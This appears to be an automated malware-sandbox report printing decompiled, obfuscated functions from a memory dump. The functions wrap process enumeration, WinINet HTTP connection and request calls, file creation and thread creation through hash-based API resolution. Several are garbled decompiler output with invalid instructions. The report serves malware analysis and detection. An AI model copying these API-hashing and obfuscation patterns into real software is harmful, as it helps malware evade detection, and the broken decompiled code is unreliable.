			E00EBCA5D(void* __ecx, struct tagPROCESSENTRY32W* __edx, void* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				unsigned int _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t45;
				void* _t55;
				signed int _t57;
				signed int _t58;
				struct tagPROCESSENTRY32W* _t65;

				_push(_a16);
				_t65 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00EB358A(_t45);
				_v24 = _v24 & 0x00000000;
				_v20 = _v20 & 0x00000000;
				_v28 = 0x5ae04a;
				_v12 = 0x2e7a24;
				_t57 = 0x1b;
				_v12 = _v12 / _t57;
				_t58 = 0x6a;
				_v12 = _v12 / _t58;
				_v12 = _v12 >> 0xf;
				_v12 = _v12 ^ 0x0002de96;
				_v8 = 0x26fcda;
				_v8 = _v8 >> 6;
				_v8 = _v8 << 9;
				_v8 = _v8 * 0x27;
				_v8 = _v8 ^ 0x2f8a1116;
				_v16 = 0x1f8a0;
				_v16 = _v16 >> 2;
				_v16 = _v16 ^ 0x000f890e;
				_t55 = E00EC0A93(0xbd4bc35, 0x308, _t58, _t58, 0x97da6f6d);
				Process32FirstW(_a4, _t65); // executed
				return _t55;
			}

0x00ebca64
0x00ebca67
0x00ebca69
0x00ebca6c
0x00ebca6f
0x00ebca72
0x00ebca73
0x00ebca74
0x00ebca79
0x00ebca80
0x00ebca86
0x00ebca8d
0x00ebca99
0x00ebca9e
0x00ebcaa6
0x00ebcaae
0x00ebcab1
0x00ebcab5
0x00ebcabc
0x00ebcac3
0x00ebcac7
0x00ebcadb
0x00ebcade
0x00ebcae5
0x00ebcaec
0x00ebcaf0
0x00ebcb00
0x00ebcb0c
0x00ebcb12

APIs

Process32FirstW.KERNEL32(0002DE96,?,?,?,?,?,?,?,?,?,?,0003E478), ref: 00EBCB0C

Strings

JZ, xrefs: 00EBCA86
$z., xrefs: 00EBCA8D

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: FirstProcess32
String ID: $z.$JZ
API String ID: 2623510744-2410909452
Opcode ID: eaf0db2205d2e4c8a3f90eb225d2bd9d833bd5d68fb90ca9f7293e4f6906fdfe
Instruction ID: 467a82309be0811b6ebd02bf7842fb65828730c10bbc4a39ede173010354f5f9
Opcode Fuzzy Hash: eaf0db2205d2e4c8a3f90eb225d2bd9d833bd5d68fb90ca9f7293e4f6906fdfe
Instruction Fuzzy Hash: AC113376D0120CFBDB08DFA4C94A9EEBBB1EB54304F108099E914AB240E7B15B64DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00EB187B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00EB187B(void* __eax, signed int __ebx, char* __edx, signed int __edi, void* __esi, signed long long __fp0, void* _a1, intOrPtr _a4, void* _a8) {
				char _v1;
				signed int _v4;
				signed int _v8;
				signed int _v12;
				char* _t33;
				int _t40;
				signed int _t41;
				signed int _t42;
				signed int _t48;
				char* _t54;
				void* _t57;
				char* _t60;
				signed int _t66;
				signed long long _t68;

				_t68 = __fp0;
				_t48 = __edi;
				_t41 = __ebx;
				asm("adc al, 0xc8");
				_t33 = __edx;
				_t42 = 0x6d;
				asm("fiadd dword [ebp-0x62398f13]");
				 *(__edx - 0x43f1b623) =  *(__edx - 0x43f1b623) & __edi;
				 *((char*)(__edi + 3)) =  *((char*)(__edi + 3)) - 0x60;
				while(1) {
					asm("rcl bh, cl");
					asm("aas");
					asm("adc dl, ch");
					asm("in eax, 0xa1");
					asm("daa");
					asm("scasd");
					asm("o16 js 0x23");
					asm("loopne 0xffffffff");
					_push(ds);
					_t47 = 0x82;
					_t68 = _t68 /  *(_t41 + 0x7f);
					 *[ds:ecx] = ss;
					if(_t57 < _t33) {
						goto L9;
					}
					 *_t42 = ss;
					 *((intOrPtr*)(_t48 - 0x1e)) =  *((intOrPtr*)(_t48 - 0x1e)) - 0x82;
					_t47 = 0x83;
					_t41 = _t41 |  *(_t48 - 0x44);
					_t54 =  &_v1;
					if(_t41 >=  *((intOrPtr*)(_t41 - 0x16))) {
						_push(0x83);
						asm("clc");
						asm("invalid");
						asm("enter 0xfdbb, 0xd2");
						_pop(_t33);
					}
					asm("xlatb");
					_t42 = 0xae;
					_t33 = _t33 + 1;
					asm("movsd");
					asm("pushad");
					if(_t33 <= 0) {
						_t60 = _t54;
						_pop(_t55);
						asm("enter 0x8b55, 0xec");
						_push(_a4);
						_push(_t47);
						_push(0xae);
						_t33 = E00EB358A(_t33);
						_v8 = 0x7ed2b1;
						_t57 = _t60 - 0xc + 0xc;
						goto L9;
					}
					L10:
					while(_t66 <= 0) {
						if(_t66 != 0) {
							continue;
						}
						asm("insd");
						goto 0x96a4;
						 *_t33 =  *_t33 + 0xc1;
						asm("insd");
						asm("clc");
						asm("insd");
						asm("clc");
						_push(cs);
						_v8 = _v8 ^ 0x00043c3a;
						_v12 = 0x85594a;
						_v12 = _v12 * 0x60;
						_v12 = _v12 ^ 0x32067144;
						E00EC0A93(0xcff283f, 0x2c2, _t42, _t42, 0x746d919);
						_t40 = InternetCloseHandle(_a8); // executed
						return _t40;
					}
					asm("invalid");
					asm("invalid");
					_push(_t33);
					asm("fcomp st0, st2");
					continue;
					L9:
					asm("les ecx, [ecx+eax*4]");
					asm("cld");
					asm("fucomi st0, st5");
					_t42 = _t42 &  *_t47;
					_v4 = _v4 + 0xfffffd30;
					_t19 =  &_v4;
					 *_t19 = _v4 ^ 0x7f9c4fa4;
					_t66 =  *_t19;
					goto L10;
				}
			}

0x00eb187b
0x00eb187b
0x00eb187b
0x00eb187b
0x00eb187d
0x00eb187e
0x00eb1880
0x00eb1886
0x00eb188c
0x00eb18f1
0x00eb18f1
0x00eb18f3
0x00eb18f4
0x00eb18f6
0x00eb18f8
0x00eb18f9
0x00eb18fb
0x00eb18fe
0x00eb1900
0x00eb1903
0x00eb1905
0x00eb1909
0x00eb190c
0x00000000
0x00000000
0x00eb190e
0x00eb1910
0x00eb1913
0x00eb1914
0x00eb1917
0x00eb191b
0x00eb191d
0x00eb191e
0x00eb191f
0x00eb1922
0x00eb1926
0x00eb1926
0x00eb192a
0x00eb192b
0x00eb192d
0x00eb192e
0x00eb192f
0x00eb1930
0x00eb1932
0x00eb1932
0x00eb1933
0x00eb193a
0x00eb193d
0x00eb193e
0x00eb193f
0x00eb1944
0x00eb194b
0x00000000
0x00eb194b
0x00000000
0x00eb1962
0x00eb1964
0x00000000
0x00000000
0x00eb1967
0x00eb1968
0x00eb196f
0x00eb1972
0x00eb1973
0x00eb1976
0x00eb1977
0x00eb1978
0x00eb1979
0x00eb1980
0x00eb1997
0x00eb199f
0x00eb19af
0x00eb19ba
0x00eb19bf
0x00eb19bf
0x00eb18e5
0x00eb18e7
0x00eb18e9
0x00eb18ea
0x00000000
0x00eb194c
0x00eb194c
0x00eb1950
0x00eb1951
0x00eb1953
0x00eb1955
0x00eb195c
0x00eb195c
0x00eb195c
0x00000000
0x00eb195c

Strings

Emu, xrefs: 00EB19AC

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Emu
API String ID: 0-3203347589
Opcode ID: 25de749f85056323d1baa598e857823123953aeed08ff78defee1ac49a3c195e
Instruction ID: 82922feb796605b6ecae3b817ddf6e02f98632aa7227ddb120d02701105508d2
Opcode Fuzzy Hash: 25de749f85056323d1baa598e857823123953aeed08ff78defee1ac49a3c195e
Instruction Fuzzy Hash: 073101B1D15248EBCB15DFA4C9966EEBBB0FF41328F2481C8D444AA121E3329B15CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00EC2621, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70
networkCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00EC2621(void* __ecx, void* __edx, signed int _a4, WCHAR* _a8, intOrPtr _a12, long _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a44) {
				void* _v12;
				intOrPtr _v16;
				signed int _v20;
				unsigned int _v24;
				void* _t45;
				void* _t46;
				signed int _t48;
				short _t54;

				_push(_a44);
				_t54 = _a4;
				_push(0);
				_push(0);
				_push(0);
				_push(_a28);
				_t46 = __ecx;
				_push(_a24);
				_push(_a20);
				_push(0);
				_push(_a12);
				_push(_a8);
				_push(_t54 & 0x0000ffff);
				_push(__ecx);
				E00EB358A(_t54 & 0x0000ffff);
				_v16 = 0x4ab134;
				asm("stosd");
				asm("stosd");
				_t48 = 0x48;
				asm("stosd");
				_v20 = 0x2f776b;
				_t11 =  &_v20; // 0x2f776b
				_v20 =  *_t11 / _t48;
				_v20 = _v20 ^ 0x000758a3;
				_v24 = 0x8997c2;
				_v24 = _v24 >> 8;
				_v24 = _v24 ^ 0x000f0067;
				_a4 = 0x3b54a3;
				_a4 = _a4 + 0xffff0f44;
				_a4 = _a4 << 2;
				_a4 = _a4 ^ 0x00e2d315;
				E00EC0A93(0x2d49660e, 0x267, _t48, _t48, 0x746d919);
				_t45 = InternetConnectW(_t46, _a8, _t54, 0, 0, _a20, 0, 0); // executed
				return _t45;
			}

0x00ec2628
0x00ec262c
0x00ec2632
0x00ec2633
0x00ec2634
0x00ec2635
0x00ec263c
0x00ec263e
0x00ec2642
0x00ec2646
0x00ec2647
0x00ec264b
0x00ec264f
0x00ec2651
0x00ec2652
0x00ec2657
0x00ec2668
0x00ec266d
0x00ec266e
0x00ec2675
0x00ec2676
0x00ec267e
0x00ec2685
0x00ec268e
0x00ec2696
0x00ec269e
0x00ec26a3
0x00ec26ab
0x00ec26b3
0x00ec26bb
0x00ec26c0
0x00ec26d9
0x00ec26ef
0x00ec26f8

APIs

InternetConnectW.WININET(?,?,?,00000000,00000000,?,00000000,00000000,?,?,00000048,0746D919), ref: 00EC26EF

Strings

kw/, xrefs: 00EC267E

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: ConnectInternet
String ID: kw/
API String ID: 3050416762-1886138299
Opcode ID: 60efb2d932fe1d2a61d30d4dd1f4fa047e7d040deb567973821c97f849e7d817
Instruction ID: 72b15538924a184506fddf65f0908aa6c660c7ee05ca0b9cbe46ba1fe6187069
Opcode Fuzzy Hash: 60efb2d932fe1d2a61d30d4dd1f4fa047e7d040deb567973821c97f849e7d817
Instruction Fuzzy Hash: 8E214C71508344BFD3409F96CC49C6BFFE9EBC9798F40480DF68152221D7BAD9198B62

Uniqueness

Uniqueness Score: -1.00%

Function 00EC9FF7, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
networkCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E00EC9FF7(WCHAR* __ecx, long __edx, void* _a4, intOrPtr _a8, intOrPtr _a16, WCHAR* _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a40) {
				void* _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* _t36;
				void* _t43;
				WCHAR* _t44;
				long _t49;

				_t49 = __edx;
				_push(0);
				_push(_a40);
				_t44 = __ecx;
				_push(0);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(0);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00EB358A(_t36);
				_v16 = 0xabecd4;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 = 0xc39ad4;
				_v24 = _v24 ^ 0x5057486c;
				_v24 = _v24 << 0xb;
				_v24 = _v24 ^ 0xa692d2a0;
				_v28 = 0x25917b;
				_v28 = _v28 >> 1;
				_v28 = _v28 + 0xbd83;
				_v28 = _v28 << 0xb;
				_v28 = _v28 ^ 0x9c3a575b;
				_v20 = 0x82d483;
				_v20 = _v20 | 0x1246382b;
				_v20 = _v20 ^ 0x12c4b1ff;
				E00EC0A93(0xa4bb217a, 0x188, __ecx, __ecx, 0x746d919);
				_t43 = HttpOpenRequestW(_a4, _t44, _a24, 0, 0, 0, _t49, 0); // executed
				return _t43;
			}

0x00eca000
0x00eca002
0x00eca003
0x00eca007
0x00eca009
0x00eca00a
0x00eca00e
0x00eca012
0x00eca016
0x00eca017
0x00eca01b
0x00eca01c
0x00eca020
0x00eca024
0x00eca025
0x00eca026
0x00eca02b
0x00eca03c
0x00eca042
0x00eca04a
0x00eca050
0x00eca058
0x00eca060
0x00eca065
0x00eca06d
0x00eca075
0x00eca079
0x00eca081
0x00eca086
0x00eca08e
0x00eca096
0x00eca09e
0x00eca0b2
0x00eca0c8
0x00eca0d1

APIs

HttpOpenRequestW.WININET(?,?,?,00000000,00000000,00000000,21C820C1,00000000,00000188,?,?,0746D919), ref: 00ECA0C8

Strings

lHWP, xrefs: 00ECA058

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: HttpOpenRequest
String ID: lHWP
API String ID: 1984915467-2964115896
Opcode ID: 7924e8e413328e6682895337f711bd0565d679efa0086e1dd5100c962c9616e0
Instruction ID: 9d25400f2a2ab7d279221aec3461052107e263c9cfc251678825b208ec96c936
Opcode Fuzzy Hash: 7924e8e413328e6682895337f711bd0565d679efa0086e1dd5100c962c9616e0
Instruction Fuzzy Hash: DA215871109384ABD3019F96CC0989BFFE9FBC9798F400A4CF68962131D3B69A558B67

Uniqueness

Uniqueness Score: -1.00%

Function 00ECB302, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58
fileCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00ECB302(WCHAR* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, long _a12, long _a16, long _a20, intOrPtr _a24, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40, long _a44) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				void* _t39;
				void* _t46;
				WCHAR* _t51;

				_push(_a44);
				_t51 = __ecx;
				_push(_a40);
				_push(_a36);
				_push(_a32);
				_push(0);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				_push(__ecx);
				E00EB358A(_t39);
				_v12 = 0xabd0b8;
				_v12 = _v12 + 0xffff6325;
				_v12 = _v12 * 0x60;
				_v12 = _v12 ^ 0x403e2218;
				_v8 = 0xe243e7;
				_v8 = _v8 ^ 0x6b1afc39;
				_v8 = _v8 << 4;
				_v8 = _v8 >> 0xe;
				_v8 = _v8 ^ 0x000f51a2;
				_v16 = 0xa9cd65;
				_v16 = _v16 + 0xffffba9e;
				_v16 = _v16 ^ 0x00a555a0;
				E00EC0A93(0xa533cd3f, 0x1ae, __ecx, __ecx, 0x97da6f6d);
				_t46 = CreateFileW(_t51, _a12, _a44, 0, _a20, _a16, 0); // executed
				return _t46;
			}

0x00ecb30a
0x00ecb30f
0x00ecb311
0x00ecb314
0x00ecb317
0x00ecb31a
0x00ecb31b
0x00ecb31e
0x00ecb321
0x00ecb324
0x00ecb327
0x00ecb32a
0x00ecb32d
0x00ecb32e
0x00ecb32f
0x00ecb334
0x00ecb33e
0x00ecb350
0x00ecb358
0x00ecb35f
0x00ecb366
0x00ecb36d
0x00ecb371
0x00ecb375
0x00ecb37c
0x00ecb383
0x00ecb38a
0x00ecb39f
0x00ecb3b6
0x00ecb3bd

APIs

CreateFileW.KERNEL32(?,001B4CA2,?,00000000,?,001B4CA2,00000000), ref: 00ECB3B6

Strings

C, xrefs: 00ECB35F

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-2531096973
Opcode ID: 02643da8fa393edeb85a6142ec268a378f78e8aefceffacbf34586c294ec5509
Instruction ID: 4d68313025e85ed6cb7369bb8cdbb283067065cbfeafb077233b8369f56673c8
Opcode Fuzzy Hash: 02643da8fa393edeb85a6142ec268a378f78e8aefceffacbf34586c294ec5509
Instruction Fuzzy Hash: C321EF7690120DBBCF069FA5CD4ACCEBFB5EB88314F508188FA1462120D3729A65EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EBAD82, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
threadCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00EBAD82(void* __ecx, void* __edx, intOrPtr _a4, void* _a8, intOrPtr _a20, intOrPtr _a24, intOrPtr _a32, _Unknown_base(*)()* _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				struct _SECURITY_ATTRIBUTES* _v20;
				intOrPtr _v24;
				void* _t39;
				void* _t46;

				_push(_a36);
				_push(_a32);
				_push(0);
				_push(_a24);
				_push(_a20);
				_push(0);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(0);
				_push(__ecx);
				E00EB358A(_t39);
				_v24 = 0xf4be66;
				_v20 = 0;
				_v12 = 0x3b9d75;
				_v12 = _v12 << 0xa;
				_v12 = _v12 + 0x7ce8;
				_v12 = _v12 | 0x4fa6cfc0;
				_v12 = _v12 ^ 0xefffb24f;
				_v8 = 0x108f40;
				_v8 = _v8 + 0x170b;
				_v8 = _v8 >> 3;
				_v8 = _v8 * 0x2d;
				_v8 = _v8 ^ 0x0057cdb1;
				_v16 = 0x125425;
				_v16 = _v16 + 0xffffb95c;
				_v16 = _v16 + 0x77fb;
				_v16 = _v16 ^ 0x0012350a;
				E00EC0A93(0x15285446, 0x192, __ecx, __ecx, 0x97da6f6d);
				_t46 = CreateThread(0, 0, _a36, _a8, 0, 0); // executed
				return _t46;
			}

0x00ebad89
0x00ebad8e
0x00ebad91
0x00ebad92
0x00ebad95
0x00ebad98
0x00ebad99
0x00ebad9a
0x00ebad9d
0x00ebada0
0x00ebada1
0x00ebada2
0x00ebada7
0x00ebadb1
0x00ebadb4
0x00ebadbb
0x00ebadbf
0x00ebadc6
0x00ebadcd
0x00ebadd4
0x00ebaddb
0x00ebade2
0x00ebadf6
0x00ebadfe
0x00ebae05
0x00ebae0c
0x00ebae13
0x00ebae1a
0x00ebae2a
0x00ebae3c
0x00ebae42

APIs

CreateThread.KERNEL32(00000000,00000000,?,0012350A,00000000,00000000), ref: 00EBAE3C

Strings

|, xrefs: 00EBADBF

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: CreateThread
String ID: |
API String ID: 2422867632-1770183357
Opcode ID: 7a3c34a36c1cf58b23beaf6eae225b3ec5089031d12a364499a6f3ca255f16cf
Instruction ID: 81fc5cc66880dff11f36c510be734c46fd88a3808d8eb4a77293120fafcba16c
Opcode Fuzzy Hash: 7a3c34a36c1cf58b23beaf6eae225b3ec5089031d12a364499a6f3ca255f16cf
Instruction Fuzzy Hash: 7611F2B2C02218FBCB159FA5C9498CEBFB5EF08364F108189F91866251D3B59B54DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ECDF9D, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00ECDF9D(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				void* _t36;
				intOrPtr* _t44;
				void* _t45;
				signed int _t47;
				void* _t52;

				_t52 = __edx;
				E00EB358A(_t36);
				_v16 = 0xaf4d41;
				_v16 = _v16 ^ 0xba3333a0;
				_v16 = _v16 + 0xffff8a6f;
				_v16 = _v16 ^ 0xba98301d;
				_v12 = 0x608387;
				_t47 = 0x1c;
				_v12 = _v12 * 0x6c;
				_v12 = _v12 + 0xffff5bfa;
				_v12 = _v12 >> 0x10;
				_v12 = _v12 ^ 0x0002e399;
				_v8 = 0xa164e2;
				_v8 = _v8 ^ 0x4e603670;
				_v8 = _v8 / _t47;
				_v8 = _v8 + 0xccff;
				_v8 = _v8 ^ 0x02d8195f;
				_t44 = E00EC0A93(0xc1cd9bca, 0xe7, _t47, _t47, 0x97da6f6d);
				_t45 =  *_t44(_t52, __ecx, __edx, _a4, _a8, _a12); // executed
				return _t45;
			}

0x00ecdfa7
0x00ecdfb1
0x00ecdfb6
0x00ecdfc0
0x00ecdfc9
0x00ecdfd0
0x00ecdfd7
0x00ecdfe4
0x00ecdfeb
0x00ecdfee
0x00ecdff5
0x00ecdff9
0x00ece000
0x00ece007
0x00ece014
0x00ece01c
0x00ece023
0x00ece038
0x00ece041
0x00ece047

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 00ECE041

Strings

p6`N, xrefs: 00ECE007

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: p6`N
API String ID: 1721193555-2651120018
Opcode ID: b2ccfaa20201fb6d9a58c76707d0bd3f1828d7bfeecc0cb438486a9b280a1910
Instruction ID: c62cf3299891756a5713a7dcb95acdd5c661ce223e56e05a49210bd2529cd7be
Opcode Fuzzy Hash: b2ccfaa20201fb6d9a58c76707d0bd3f1828d7bfeecc0cb438486a9b280a1910
Instruction Fuzzy Hash: 3A112275D01208FBDB18EFE8C9068DEBFB5EB04310F10C189E418A7250D7B99B019F80

Uniqueness

Uniqueness Score: -1.00%

Function 00EB18DF, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
networkCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00EB18DF(signed int __eax, signed int __ebx, signed int __ecx, signed int __edx, void* __edi, void* __esi, signed long long __fp0, void* _a1, void* _a8) {
				char _v1;
				signed int _v4;
				signed int _v8;
				signed int _v12;
				intOrPtr _v13;
				signed char _t28;
				int _t35;
				signed int _t36;
				signed int _t37;
				void* _t42;
				char* _t48;
				void* _t51;
				signed int _t53;
				char* _t56;
				signed int _t64;
				signed long long _t66;

				_t66 = __fp0;
				_t42 = __edi;
				_t37 = __ecx;
				_t36 = __ebx;
				_t53 = _t51 - 0x00000001 | __eax;
				asm("loope 0x47");
				_t28 = __eax | __edx;
				while(1) {
					asm("invalid");
					asm("invalid");
					_push(_t28);
					asm("fcomp st0, st2");
					asm("rcl bh, cl");
					asm("aas");
					asm("adc dl, ch");
					asm("in eax, 0xa1");
					asm("daa");
					asm("scasd");
					asm("o16 js 0x23");
					asm("loopne 0xffffffff");
					_push(ds);
					_t41 = 0x82;
					_t66 = _t66 /  *(_t36 + 0x7f);
					 *[ds:ecx] = ss;
					if(_t53 < _t28) {
						L9:
						asm("les ecx, [ecx+eax*4]");
						asm("cld");
						asm("fucomi st0, st5");
						_t37 = _t37 &  *_t41;
						_v4 = _v4 + 0xfffffd30;
						_t14 =  &_v4;
						 *_t14 = _v4 ^ 0x7f9c4fa4;
						_t64 =  *_t14;
					} else {
						 *_t37 = ss;
						 *((intOrPtr*)(_t42 - 0x1e)) =  *((intOrPtr*)(_t42 - 0x1e)) - 0x82;
						_t41 = 0x83;
						_t36 = _t36 |  *(_t42 - 0x44);
						_t48 =  &_v1;
						if(_t36 >=  *((intOrPtr*)(_t36 - 0x16))) {
							_push(0x83);
							asm("clc");
							asm("invalid");
							asm("enter 0xfdbb, 0xd2");
							_pop(_t28);
						}
						asm("xlatb");
						_t37 = 0xae;
						_t28 = _t28 + 1;
						asm("movsd");
						asm("pushad");
						if(_t28 <= 0) {
							_t56 = _t48;
							_pop(_t49);
							asm("enter 0x8b55, 0xec");
							_push(_v1);
							_push(_t41);
							_push(0xae);
							_t28 = E00EB358A(_t28);
							_v13 = 0x7ed2b1;
							_t53 = _t56 - 0xc + 0xc;
							goto L9;
						}
						L10:
						while(_t64 <= 0) {
							if(_t64 != 0) {
								continue;
							}
							asm("insd");
							goto 0x96a4;
							 *_t28 =  *_t28 + 0xc1;
							asm("insd");
							asm("clc");
							asm("insd");
							asm("clc");
							_push(cs);
							_v8 = _v8 ^ 0x00043c3a;
							_v12 = 0x85594a;
							_v12 = _v12 * 0x60;
							_v12 = _v12 ^ 0x32067144;
							E00EC0A93(0xcff283f, 0x2c2, _t37, _t37, 0x746d919);
							_t35 = InternetCloseHandle(_a8); // executed
							return _t35;
						}
						continue;
					}
					goto L10;
				}
			}

0x00eb18df
0x00eb18df
0x00eb18df
0x00eb18df
0x00eb18e0
0x00eb18e2
0x00eb18e4
0x00eb18e5
0x00eb18e5
0x00eb18e7
0x00eb18e9
0x00eb18ea
0x00eb18f1
0x00eb18f3
0x00eb18f4
0x00eb18f6
0x00eb18f8
0x00eb18f9
0x00eb18fb
0x00eb18fe
0x00eb1900
0x00eb1903
0x00eb1905
0x00eb1909
0x00eb190c
0x00eb194c
0x00eb194c
0x00eb1950
0x00eb1951
0x00eb1953
0x00eb1955
0x00eb195c
0x00eb195c
0x00eb195c
0x00eb190e
0x00eb190e
0x00eb1910
0x00eb1913
0x00eb1914
0x00eb1917
0x00eb191b
0x00eb191d
0x00eb191e
0x00eb191f
0x00eb1922
0x00eb1926
0x00eb1926
0x00eb192a
0x00eb192b
0x00eb192d
0x00eb192e
0x00eb192f
0x00eb1930
0x00eb1932
0x00eb1932
0x00eb1933
0x00eb193a
0x00eb193d
0x00eb193e
0x00eb193f
0x00eb1944
0x00eb194b
0x00000000
0x00eb194b
0x00000000
0x00eb1962
0x00eb1964
0x00000000
0x00000000
0x00eb1967
0x00eb1968
0x00eb196f
0x00eb1972
0x00eb1973
0x00eb1976
0x00eb1977
0x00eb1978
0x00eb1979
0x00eb1980
0x00eb1997
0x00eb199f
0x00eb19af
0x00eb19ba
0x00eb19bf
0x00eb19bf
0x00000000
0x00eb1962
0x00000000
0x00eb190c

APIs

InternetCloseHandle.WININET(00043C3A), ref: 00EB19BA

Strings

Emu, xrefs: 00EB19AC

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: CloseHandleInternet
String ID: Emu
API String ID: 1081599783-3203347589
Opcode ID: f6a51d30a51b596d596f3394f6b746e115c00cde19448cf043cb183580817d0c
Instruction ID: cbecf83aa80351b5365c9d9c51491a343113af9e1f939b2a09b6bb7381cc7383
Opcode Fuzzy Hash: f6a51d30a51b596d596f3394f6b746e115c00cde19448cf043cb183580817d0c
Instruction Fuzzy Hash: C91135B1D0120CEFDB05DFA9C95B5DEBFB4EF44318F209099E814BA254E7719B099B81

Uniqueness

Uniqueness Score: -1.00%

Function 00EB1920, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
networkCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00EB1920(void* __eax, signed int __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, signed long long __fp0, void* _a1, void* _a8, intOrPtr _a12) {
				intOrPtr _v0;
				char _v1;
				signed int _v4;
				signed int _v8;
				signed int _v12;
				char* _t28;
				int _t35;
				signed int _t36;
				signed int _t37;
				void* _t42;
				char* _t48;
				void* _t51;
				char* _t54;
				signed int _t61;
				signed long long _t63;

				L0:
				while(1) {
					L0:
					_t63 = __fp0;
					_t42 = __edi;
					_t37 = __ecx;
					_t36 = __ebx;
					asm("enter 0xfdbb, 0xd2");
					_pop(_t28);
					do {
						L5:
						asm("xlatb");
						_t37 = 0xae;
						_t28 = _t28 + 1;
						asm("movsd");
						asm("pushad");
						if(_t28 <= 0) {
							L6:
							_t54 = _t48;
							_pop(_t49);
							asm("enter 0x8b55, 0xec");
							L7:
							_push(_a12);
							_push(_t41);
							_push(0xae);
							_t28 = E00EB358A(_t28);
							_v0 = 0x7ed2b1;
							_t51 = _t54 - 0xc + 0xc;
							L8:
							asm("les ecx, [ecx+eax*4]");
							asm("cld");
							asm("fucomi st0, st5");
							_t37 = _t37 &  *_t41;
							_v4 = _v4 + 0xfffffd30;
							_t14 =  &_v4;
							 *_t14 = _v4 ^ 0x7f9c4fa4;
							_t61 =  *_t14;
							L9:
							while(_t61 <= 0) {
								if(_t61 != 0) {
									continue;
								}
								L11:
								asm("insd");
								goto 0x96a4;
								 *_t28 =  *_t28 + 0xc1;
								asm("insd");
								asm("clc");
								asm("insd");
								asm("clc");
								_push(cs);
								_v8 = _v8 ^ 0x00043c3a;
								_v12 = 0x85594a;
								_v12 = _v12 * 0x60;
								_v12 = _v12 ^ 0x32067144;
								E00EC0A93(0xcff283f, 0x2c2, _t37, _t37, 0x746d919);
								_t35 = InternetCloseHandle(_a8); // executed
								return _t35;
								L12:
							}
							asm("invalid");
							asm("invalid");
							_push(_t28);
							asm("fcomp st0, st2");
							L2:
							asm("rcl bh, cl");
							asm("aas");
							asm("adc dl, ch");
							asm("in eax, 0xa1");
							asm("daa");
							asm("scasd");
							asm("o16 js 0x23");
							asm("loopne 0xffffffff");
							_push(ds);
							_t41 = 0x82;
							_t63 = _t63 /  *(_t36 + 0x7f);
							 *[ds:ecx] = ss;
							if(_t51 < _t28) {
								goto L8;
							} else {
								goto L3;
							}
						}
						goto L9;
						L3:
						 *_t37 = ss;
						 *((intOrPtr*)(_t42 - 0x1e)) =  *((intOrPtr*)(_t42 - 0x1e)) - 0x82;
						_t41 = 0x83;
						_t36 = _t36 |  *(_t42 - 0x44);
						_t48 =  &_v1;
					} while (_t36 <  *((intOrPtr*)(_t36 - 0x16)));
					_push(0x83);
					asm("clc");
					asm("invalid");
				}
			}

0x00eb1920
0x00eb1920
0x00eb1920
0x00eb1920
0x00eb1920
0x00eb1920
